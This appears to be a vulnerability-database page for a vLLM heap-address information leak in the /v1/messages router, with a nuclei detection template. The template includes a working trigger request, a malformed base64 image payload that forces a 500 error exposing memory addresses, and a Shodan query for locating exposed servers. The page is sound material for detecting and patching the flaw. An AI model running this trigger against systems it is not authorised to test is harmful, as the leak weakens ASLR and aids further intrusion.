HexBrain

Browse / CVEs / CVE-2026-54236

CVE-2026-54236· vllm / vllm· CWE-532

vLLM <= 0.23.0 - Anthropic Router Heap Address Information Leak

mediumseverity
5.3CVSS score
0.9%likelihood of exploitation, next 30 days
61%of all CVEs are less likely
Readycheck to confirm it

vLLM <= 0.23.0 incompletely fixes CVE-2026-22778. The original fix added sanitize_message to the OpenAI router but the Anthropic-compatible router (/v1/messages) echoes str(exc) directly.

Impact

Remote attackers can leak heap addresses, significantly reducing ASLR effectiveness and enabling further exploitation like remote code execution.

Fix

Update to vllm version to latest.

How to confirm it

Send: GET /v1/models
Positive when: status_code == 200 and contains(body, "\"id\":")
Send: POST /v1/messages
Positive when: status_code == 500 and contains_all(body, "_io.BytesIO object at 0x", "internal_error")

Run it with nuclei: nuclei -id CVE-2026-54236 -u <target>

The full check
id: CVE-2026-54236

info:
  name: vLLM <= 0.23.0 - Anthropic Router Heap Address Information Leak
  author: kenlacroix
  severity: medium
  description: |
    vLLM <= 0.23.0 incompletely fixes CVE-2026-22778. The original fix added sanitize_message to the OpenAI router but the Anthropic-compatible router (/v1/messages) echoes str(exc) directly.
  impact: |
    Remote attackers can leak heap addresses, significantly reducing ASLR effectiveness and enabling further exploitation like remote code execution.
  remediation: |
    Update to vllm version to latest.
  reference:
    - https://github.com/advisories/GHSA-hgg8-fqqc-vfmw
    - https://github.com/vllm-project/vllm/pull/45119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-54236
    epss-score: 0.00927
    epss-percentile: 0.608
    cwe-id: CWE-532
  metadata:
    verified: true
    max-request: 2
    vendor: vllm
    product: vllm
    shodan-query: http.html:"/v1/models" http.html:"vllm"
    tags: cve,cve2026,vllm,llm,ai,info-leak,anthropic,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"id\":")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: model
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /v1/messages HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model":"{{model}}","max_tokens":1,"messages":[{"role":"user","content":[{"type":"text","text":"{{randstr}}"},{"type":"image","source":{"type":"base64","media_type":"image/png","data":"bm90YW5pbWFnZQ=="}}]}]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, "_io.BytesIO object at 0x", "internal_error")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from